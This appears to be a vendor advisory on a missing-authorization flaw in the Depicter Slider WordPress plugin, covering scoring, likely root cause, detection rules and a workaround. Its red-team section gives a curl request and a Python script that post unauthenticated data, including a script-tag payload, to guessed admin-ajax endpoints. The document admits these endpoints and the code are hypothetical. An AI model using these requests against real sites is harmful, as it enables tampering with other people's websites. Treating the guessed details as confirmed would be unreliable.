CVE-2025-68558

Executive Summary

CVE-2025-68558 is a Missing Authorization vulnerability in the Depicter Slider WordPress plugin, developed by Averta. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability affects all versions of the plugin from n/a through 4.0.4. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains due to the lack of authentication requirements.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Depicter Slider plugin. Since it is a WordPress plugin, it is distributed via the WordPress plugin repository and potentially through third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from official sources. No known supply chain compromise has been reported, but the unpatched status increases the risk of malicious actors injecting backdoors into vulnerable installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited unauthorized data access.
• Integrity Impact: Low (I:L) – Limited unauthorized data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low confidentiality and integrity loss. However, in a WordPress context, this could lead to defacement, data leakage, or privilege escalation if combined with other vulnerabilities.

Deep Dive & Mechanics

The Depicter Slider plugin is a popular WordPress slider plugin used to create and manage sliders on websites. The missing authorization vulnerability (CWE-862) occurs because the plugin fails to properly enforce access controls on certain AJAX actions or REST API endpoints. This allows unauthenticated users to perform actions that should require administrative or editor-level privileges.

Root Cause: The plugin likely registers AJAX hooks (e.g., wp_ajax_* and wp_ajax_nopriv_*) without checking user capabilities. For example, a function that saves slider settings or retrieves sensitive data may be accessible via wp_ajax_nopriv_*, which is intended for unauthenticated users but should be restricted.

Attack Vector: An attacker can send crafted HTTP requests to the WordPress site, targeting the vulnerable endpoints. Since no authentication is required, the attacker can:

• Retrieve slider configurations (potentially containing sensitive data like API keys or custom CSS/JS).
• Modify slider settings (leading to defacement or injection of malicious content).
• Delete or create sliders (causing data loss or unauthorized content).

Impact: While the CVSS score is 6.5, the real-world impact depends on the plugin's functionality. If the slider stores user data or integrates with third-party services, the confidentiality and integrity impacts could be higher.

Vulnerable vs. Patched Code

Since no official patch is available, we can only hypothesize the vulnerable code pattern. Typically, such vulnerabilities arise from missing capability checks in AJAX handlers.

Vulnerable Code Example (PHP):

add_action('wp_ajax_nopriv_depicter_save_slider', 'depicter_save_slider');
function depicter_save_slider() {
    // No capability check
    $slider_data = $_POST['slider_data'];
    update_option('depicter_slider_' . $slider_data['id'], $slider_data);
    wp_send_json_success();
}

Patched Code Example (Hypothetical):

add_action('wp_ajax_depicter_save_slider', 'depicter_save_slider');
// Remove the nopriv hook to require authentication
function depicter_save_slider() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $slider_data = $_POST['slider_data'];
    update_option('depicter_slider_' . $slider_data['id'], $slider_data);
    wp_send_json_success();
}

Key Differences:

• The vulnerable version uses wp_ajax_nopriv_* (allows unauthenticated access) or omits capability checks.
• The patched version uses wp_ajax_* (requires authentication) and adds current_user_can() checks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Depicter Slider <= 4.0.4 installed and activated.
• Network access to the target.

Exploitation Steps:

1. Identify Vulnerable Endpoints: Use a tool like Burp Suite or curl to probe for AJAX actions. Common endpoints include:

   • /wp-admin/admin-ajax.php?action=depicter_save_slider
   • /wp-admin/admin-ajax.php?action=depicter_get_slider
   • /wp-admin/admin-ajax.php?action=depicter_delete_slider

2. Craft Exploit Request: Send a POST request to the vulnerable endpoint without authentication.

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d 'action=depicter_get_slider&slider_id=1' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   

3. Verify Exploitation: If successful, the response will contain slider data (e.g., JSON with settings). For modification, send a POST with new slider data.

Example Exploit Script (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    'action': 'depicter_save_slider',
    'slider_data': '{"id":1,"title":"Malicious Slider","content":"<script>alert(1)</script>"}'
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to /wp-admin/admin-ajax.php with action parameters starting with depicter_ from unauthenticated sources.
• Look for repeated requests to slider-related endpoints without a valid WordPress nonce or session cookie.

Defense:

• Immediate: Disable the Depicter Slider plugin until a patch is available.
• Workaround: Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with depicter_ actions.
• Long-term: Apply the principle of least privilege by ensuring all AJAX handlers check user capabilities.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=depicter_* parameters from IPs not associated with authenticated users.
  • Unusual POST data containing slider configurations or JavaScript payloads.

• File IOCs:

  • Modified options in the wp_options table with keys like depicter_slider_*.
  • Unexpected files in the /wp-content/uploads/depicter/ directory (if the plugin stores slider assets).

• Log IOCs:

  • WordPress debug log entries showing depicter_ AJAX actions without a valid user ID.
  • Web server access logs with repeated 200 responses to admin-ajax.php from the same IP.

Detection Engineering

YARA Rule

rule Detect_Depicter_Missing_Auth_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-68558 in Depicter Slider"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68558"
    strings:
        $ajax_action = "action=depicter_" nocase
        $admin_ajax = "/wp-admin/admin-ajax.php" nocase
        $slider_data = "slider_data" nocase
    condition:
        all of them
}

Sigma Rule

title: Depicter Slider Missing Authorization Exploitation
id: 8a4b6c2d-1e3f-4a5b-9c7d-8e9f0a1b2c3d
status: experimental
description: Detects unauthenticated AJAX requests to Depicter Slider endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=depicter_'
    condition: selection
falsepositives:
    - Legitimate admin actions (should have nonce and authentication)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-68558 Depicter Slider Missing Authorization Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=depicter_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-68558;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall Depicter Slider until a patch is released.
2. Apply Virtual Patching: Use a WAF to block unauthenticated requests to admin-ajax.php with depicter_ actions.
3. Monitor Logs: Review web server and WordPress logs for signs of exploitation.

Long-term Actions:

1. Patch: Monitor the Averta website or WordPress plugin repository for an official update. Apply it immediately when available.
2. Code Review: If you have custom code, ensure all AJAX handlers include capability checks using current_user_can().
3. Security Hardening: Implement a WordPress security plugin that adds additional access controls and monitors for suspicious activity.

Workaround (if plugin cannot be disabled):

• Add the following code to your theme's functions.php to block unauthenticated access to Depicter AJAX actions:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'depicter_') === 0) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers